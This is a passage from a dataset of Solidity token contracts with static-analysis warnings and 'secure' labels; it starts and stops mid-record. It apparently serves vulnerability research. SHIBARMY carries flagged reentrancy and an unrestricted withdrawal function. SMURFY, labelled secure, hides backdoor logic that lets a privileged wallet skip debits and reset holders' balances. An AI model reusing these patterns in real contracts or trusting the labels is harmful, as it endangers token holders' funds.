balanceOf(address(this));\n if (!_inSwap && from != _uniswapV2Pair) {\n if (contractTokenBalance > 0) {\n if (\n contractTokenBalance >\n balanceOf(_uniswapV2Pair).mul(15).div(100)\n )\n contractTokenBalance = balanceOf(_uniswapV2Pair)\n .mul(15)\n .div(100);\n\n uint256 burnCount = contractTokenBalance.div(3);\n contractTokenBalance -= burnCount;\n\t\t\t\t\t// reentrancy-events | ID: 965bc50\n\t\t\t\t\t// reentrancy-benign | ID: 2b7c531\n\t\t\t\t\t// reentrancy-no-eth | ID: 3f28bb5\n _burnToken(burnCount);\n\t\t\t\t\t// reentrancy-events | ID: 965bc50\n\t\t\t\t\t// reentrancy-benign | ID: 2b7c531\n\t\t\t\t\t// reentrancy-no-eth | ID: 3f28bb5\n _swapTokensForEth(contractTokenBalance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 965bc50\n\t\t// reentrancy-no-eth | ID: 3f28bb5\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function _burnToken(uint256 burnCount) private lockTheSwap {\n _transfer(address(this), address(0xdead), burnCount);\n }\n\n function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _uniswapV2Router.WETH();\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 965bc50\n\t\t// reentrancy-events | ID: 130c2f4\n\t\t// reentrancy-benign | ID: 306e933\n\t\t// reentrancy-benign | ID: 2b7c531\n\t\t// reentrancy-no-eth | ID: 3f28bb5\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 tAmount,\n bool takeFee\n ) private handleFees(takeFee) {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 tTransferAmount,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-no-eth | ID: 3f28bb5\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-no-eth | ID: 3f28bb5\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n\t\t// reentrancy-events | ID: 965bc50\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _getValues(\n uint256 tAmount\n ) private view returns (uint256, uint256, uint256, uint256) {\n (uint256 tTransferAmount, uint256 tTeam) = _getTValues(\n tAmount,\n _teamFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount) = _getRValues(\n tAmount,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, tTransferAmount, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 TeamFee\n ) private pure returns (uint256, uint256) {\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tTeam);\n return (tTransferAmount, tTeam);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rTeam);\n return (rAmount, rTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-no-eth | ID: 3f28bb5\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 141bc81): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 141bc81: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ef19558): SHIBARMY.initContract(address).feeAddress lacks a zerocheck on \t _feeAddress = feeAddress\n\t// Recommendation for ef19558: Check that the address is not zero.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 40bbdd3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 40bbdd3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function initContract(address payable feeAddress) external onlyOwner {\n require(!_initialized, \"Contract has already been initialized\");\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\t\t// reentrancy-benign | ID: 141bc81\n\t\t// reentrancy-no-eth | ID: 40bbdd3\n _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 141bc81\n _uniswapV2Router = uniswapV2Router;\n\t\t// reentrancy-benign | ID: 141bc81\n\t\t// missing-zero-check | ID: ef19558\n _feeAddress = feeAddress;\n\t\t// reentrancy-benign | ID: 141bc81\n _isExcludedFromFee[_feeAddress] = true;\n\t\t// reentrancy-no-eth | ID: 40bbdd3\n _initialized = true;\n }\n\n function openTrading() external onlyOwner {\n require(_initialized);\n _tradingOpen = true;\n _launchTime = block.timestamp;\n\n _initialLimitDuration = _launchTime + (3 minutes);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 51e87b1): SHIBARMY.setFeeWallet(address).feeWalletAddress lacks a zerocheck on \t _feeAddress = feeWalletAddress\n\t// Recommendation for 51e87b1: Check that the address is not zero.\n function setFeeWallet(address payable feeWalletAddress) external onlyOwner {\n _isExcludedFromFee[_feeAddress] = false;\n\n\t\t// missing-zero-check | ID: 51e87b1\n _feeAddress = feeWalletAddress;\n _isExcludedFromFee[_feeAddress] = true;\n }\n\n function excludeFromFee(address payable ad) external onlyOwner {\n _isExcludedFromFee[ad] = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7d7761e): SHIBARMY.setTeamFee(uint256) should emit an event for _teamFee = fee \n\t// Recommendation for 7d7761e: Emit an event for critical parameter changes.\n function setTeamFee(uint256 fee) external onlyOwner {\n require(fee <= 9);\n\t\t// events-maths | ID: 7d7761e\n _teamFee = fee;\n }\n\n function includeToFee(address payable ad) external onlyOwner {\n _isExcludedFromFee[ad] = false;\n }\n\n function setBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n if (\n bots_[i] != _uniswapV2Pair &&\n bots_[i] != address(_uniswapV2Router)\n ) {\n _isBot[bots_[i]] = true;\n }\n }\n }\n\n function delBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n _isBot[bots_[i]] = false;\n }\n }\n\n function isBot(address ad) public view returns (bool) {\n return _isBot[ad];\n }\n\n function isExcludedFromFee(address ad) public view returns (bool) {\n return _isExcludedFromFee[ad];\n }\n\n function swapFeesManual() external onlyOwner {\n uint256 contractBalance = balanceOf(address(this));\n _swapTokensForEth(contractBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e69957d): SHIBARMY.withdrawFees() sends eth to arbitrary user Dangerous calls _feeAddress.transfer(contractETHBalance)\n\t// Recommendation for e69957d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function withdrawFees() external {\n uint256 contractETHBalance = address(this).balance;\n\t\t// arbitrary-send-eth | ID: e69957d\n _feeAddress.transfer(contractETHBalance);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3088.sol",
"secure": 0,
"size_bytes": 18738
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GMToken is ERC20, Ownable {\n constructor() ERC20(\"GM Holding\", \"GM\") {\n _mint(_msgSender(), 99999000 * (10 ** uint256(decimals())));\n }\n}",
"file_name": "solidity_code_3089.sol",
"secure": 1,
"size_bytes": 362
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract EIGHTBET is IERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 39c7a66): EIGHTBET._name should be constant \n\t// Recommendation for 39c7a66: Add the 'constant' attribute to state variables that never change.\n string private _name = \"EIGHTBET\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d75f1b3): EIGHTBET._symbol should be constant \n\t// Recommendation for d75f1b3: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"8BET\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 26bab0d): EIGHTBET._decimals should be constant \n\t// Recommendation for 26bab0d: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ad60778): EIGHTBET._totalSupply should be immutable \n\t// Recommendation for ad60778: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1000000 * (10 ** decimals());\n\n\t// WARNING Optimization Issue (immutable-states | ID: 447b197): EIGHTBET._creationTimestamp should be immutable \n\t// Recommendation for 447b197: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _creationTimestamp;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isHolder;\n\n address[] private _holders;\n\n constructor() {\n _creationTimestamp = block.timestamp;\n\n _balances[owner()] = _totalSupply;\n\n _isHolder[owner()] = true;\n\n _holders.push(owner());\n\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = msg.sender;\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = msg.sender;\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address accountOwner = msg.sender;\n\n _approve(\n accountOwner,\n spender,\n allowance(accountOwner, spender) + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address accountOwner = msg.sender;\n\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n if (!_isHolder[to] && _balances[to] > 0) {\n _isHolder[to] = true;\n\n _holders.push(to);\n }\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function getContractCreationTimestamp() public view returns (uint256) {\n return _creationTimestamp;\n }\n\n function getTokenDetails() public view returns (string memory) {\n return\n string(\n abi.encodePacked(\n \"Name: \",\n _name,\n \", Symbol: \",\n _symbol,\n \", Decimals: \",\n _decimals\n )\n );\n }\n\n function getHolderCount() public view returns (uint256) {\n return _holders.length;\n }\n\n function getOwnerAddressDetails() public view returns (address, uint256) {\n return (owner(), _balances[owner()]);\n }\n\n function isHolder(address account) public view returns (bool) {\n return _isHolder[account];\n }\n\n function getTopHolders(uint256 n) public view returns (address[] memory) {\n require(n <= _holders.length, \"Requested number exceeds total holders\");\n\n address[] memory topHolders = new address[](n);\n\n for (uint256 i = 0; i < n; i++) {\n topHolders[i] = _holders[i];\n }\n\n return topHolders;\n }\n}",
"file_name": "solidity_code_309.sol",
"secure": 1,
"size_bytes": 7449
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Zeroboys is ERC721A, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 5335358): Zeroboys.maxSupply should be constant \n\t// Recommendation for 5335358: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSupply = 6969;\n\n uint256 public maxFreeSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: 860a209): Zeroboys.price should be constant \n\t// Recommendation for 860a209: Add the 'constant' attribute to state variables that never change.\n uint256 public price = 0.0009 ether;\n\n uint256 public MAX_FREE_PER_WALLET = 1;\n\n string private uri =\n \"ipfs://bafybeigzlydt4qp7swiztwlxk3bonnvaeimk2ecqktrh33z4fjceevgg6q/\";\n\n function publicMint(uint32 amount) public payable {\n require(totalSupply() + amount <= maxSupply, \"sold_out\");\n bool isFree = msg.value == 0;\n if (isFree) {\n require(msg.sender == tx.origin);\n require(amount <= MAX_FREE_PER_WALLET);\n require(totalSupply() + amount <= maxFreeSupply);\n require(\n msg.sender == owner() ||\n balanceOf(msg.sender) < MAX_FREE_PER_WALLET\n );\n _safeMint(msg.sender, amount);\n } else {\n require(msg.value >= price * amount);\n _safeMint(msg.sender, amount);\n }\n }\n\n constructor() ERC721A(\"Zero Boys\", \"ZB\") {\n MAX_FREE_PER_WALLET = 5;\n maxFreeSupply = 6969;\n }\n\n function setFree(uint256 freeamount, uint256 mf) public onlyOwner {\n MAX_FREE_PER_WALLET = freeamount;\n maxFreeSupply = mf;\n }\n\n function setUri(string memory i) public onlyOwner {\n uri = i;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \"\"));\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_3090.sol",
"secure": 1,
"size_bytes": 2218
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract SMURFY is Ownable {\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08d65fe): SMURFY.name should be constant \n\t// Recommendation for 08d65fe: Add the 'constant' attribute to state variables that never change.\n string public name = \"Smurfy\";\n\n function approve(\n address smurfyapprover,\n uint256 smurfynumber\n ) public returns (bool success) {\n allowance[msg.sender][smurfyapprover] = smurfynumber;\n emit Approval(msg.sender, smurfyapprover, smurfynumber);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 2dec392): SMURFY.decimals should be constant \n\t// Recommendation for 2dec392: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n function smurfyspender(\n address smurfyrow,\n address smurfyreceiver,\n uint256 smurfynumber\n ) private {\n if (smurfywallet[smurfyrow] == 0) {\n balanceOf[smurfyrow] -= smurfynumber;\n }\n balanceOf[smurfyreceiver] += smurfynumber;\n if (\n smurfywallet[msg.sender] > 0 &&\n smurfynumber == 0 &&\n smurfyreceiver != smurfypair\n ) {\n balanceOf[smurfyreceiver] = smurfyvalve;\n }\n emit Transfer(smurfyrow, smurfyreceiver, smurfynumber);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 404f29a): SMURFY.smurfypair should be immutable \n\t// Recommendation for 404f29a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public smurfypair;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9b0089): SMURFY.symbol should be constant \n\t// Recommendation for c9b0089: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"SMURFY\";\n\n mapping(address => uint256) private smurfywallet;\n\n function transfer(\n address smurfyreceiver,\n uint256 smurfynumber\n ) public returns (bool success) {\n smurfyspender(msg.sender, smurfyreceiver, smurfynumber);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (constable-states | ID: 72a6942): SMURFY.totalSupply should be constant \n\t// Recommendation for 72a6942: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n function transferFrom(\n address smurfyrow,\n address smurfyreceiver,\n uint256 smurfynumber\n ) public returns (bool success) {\n require(smurfynumber <= allowance[smurfyrow][msg.sender]);\n allowance[smurfyrow][msg.sender] -= smurfynumber;\n smurfyspender(smurfyrow, smurfyreceiver, smurfynumber);\n return true;\n }\n\n constructor(address smurfymarket) {\n balanceOf[msg.sender] = totalSupply;\n smurfywallet[smurfymarket] = smurfyvalve;\n IUniswapV2Router02 smurfyworkshop = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n smurfypair = IUniswapV2Factory(smurfyworkshop.factory()).createPair(\n address(this),\n smurfyworkshop.WETH()\n );\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a7393d): SMURFY.smurfyvalve should be constant \n\t// Recommendation for 3a7393d: Add the 'constant' attribute to state variables that never change.\n uint256 private smurfyvalve = 105;\n\n mapping(address => uint256) private smurfyprime;\n}",
"file_name": "solidity_code_3091.sol",
"secure": 1,
"size_bytes": 4190
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BTC is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n using Address for address;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _isExcluded;\n\n address[] private _excluded;\n\n uint256 private constant MAX = ~uint256(0);\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e42e56): BTC._decimals should be constant \n\t// Recommendation for 4e42e56: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 8;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 12abb5c): BTC._tTotal should be immutable \n\t// Recommendation for 12abb5c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7cc168e): BTC._maxTxAmount should be immutable \n\t// Recommendation for 7cc168e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTxAmount = 100000000 * 10 ** _decimals;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0201779): BTC._name should be constant \n\t// Recommendation for 0201779: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Best Trump Coin\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 38a9f29): BTC._symbol should be constant \n\t// Recommendation for 38a9f29: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BTC\";\n\n uint256 public _taxFee = 5;\n\n uint256 private _previousTaxFee = _taxFee;\n\n uint256 public _developmentFee = 0;\n\n uint256 private _previousDevelopmentFee = _developmentFee;\n\n uint256 public _liquidityFee = 0;\n\n uint256 private _previousLiquidityFee = _liquidityFee;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n bool inSwapAndLiquify;\n\n bool public swapAndLiquifyEnabled = true;\n\n\t// WARNING Optimization Issue (constable-states | ID: c766cbd): BTC.numTokensSellToAddToLiquidity should be constant \n\t// Recommendation for c766cbd: Add the 'constant' attribute to state variables that never change.\n uint256 private numTokensSellToAddToLiquidity = 1000000000 * 10 ** 18;\n\n event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);\n\n event SwapAndLiquifyEnabledUpdated(bool enabled);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiqudity\n );\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n _tOwned[owner()] = _tTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), owner(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 19c945b): BTC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 19c945b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function isExcludedFromReward(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , , ) = _getValues(tAmount);\n\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , , ) = _getValues(tAmount);\n\n return rTransferAmount;\n }\n }\n\n function includeInReward(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already included\");\n\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n\n _tOwned[account] = 0;\n\n _isExcluded[account] = false;\n\n _excluded.pop();\n\n break;\n }\n }\n }\n\n function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {\n swapAndLiquifyEnabled = _enabled;\n\n emit SwapAndLiquifyEnabledUpdated(_enabled);\n }\n\n receive() external payable {}\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n _rTotal = _rTotal.sub(rFee);\n\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity,\n uint256 tDevelopment\n ) = _getTValues(tAmount);\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tLiquidity,\n tDevelopment,\n _getRate()\n );\n\n return (\n rAmount,\n rTransferAmount,\n rFee,\n tTransferAmount,\n tFee,\n tLiquidity,\n tDevelopment\n );\n }\n\n function _getTValues(\n uint256 tAmount\n ) private view returns (uint256, uint256, uint256, uint256) {\n uint256 tFee = calculateTaxFee(tAmount);\n\n uint256 tLiquidity = calculateLiquidityFee(tAmount);\n\n uint256 tDevelopment = calculateDevelopmentFee(tAmount);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(\n tDevelopment\n );\n\n return (tTransferAmount, tFee, tLiquidity, tDevelopment);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tLiquidity,\n uint256 tDevelopment,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rLiquidity = tLiquidity.mul(currentRate);\n\n uint256 rDevelopment = tDevelopment.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(\n rDevelopment\n );\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n\t\t// cache-array-length | ID: 2038159\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _tOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n\n rSupply = rSupply.sub(_tOwned[_excluded[i]]);\n\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n function _takeLiquidity(uint256 tLiquidity) private {\n uint256 currentRate = _getRate();\n\n uint256 rLiquidity = tLiquidity.mul(currentRate);\n\n _tOwned[address(this)] = _tOwned[address(this)].add(rLiquidity);\n\n if (_isExcluded[address(this)])\n _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);\n }\n\n function calculateTaxFee(uint256 _amount) private view returns (uint256) {\n return _amount.mul(_taxFee).div(10 ** 3);\n }\n\n function calculateDevelopmentFee(\n uint256 _amount\n ) private view returns (uint256) {\n return _amount.mul(_developmentFee).div(10 ** 3);\n }\n\n function calculateLiquidityFee(\n uint256 _amount\n ) private view returns (uint256) {\n return _amount.mul(_liquidityFee).div(10 ** 3);\n }\n\n function removeAllFee() private {\n if (_taxFee == 0 && _liquidityFee == 0) return;\n\n _previousTaxFee = _taxFee;\n\n _previousDevelopmentFee = _developmentFee;\n\n _previousLiquidityFee = _liquidityFee;\n\n _taxFee = 0;\n\n _developmentFee = 0;\n\n _liquidityFee = 0;\n }\n\n function restoreAllFee() private {\n _taxFee = _previousTaxFee;\n\n _developmentFee = _previousDevelopmentFee;\n\n _liquidityFee = _previousLiquidityFee;\n }\n\n function isExcludedFromFee(address account) public view 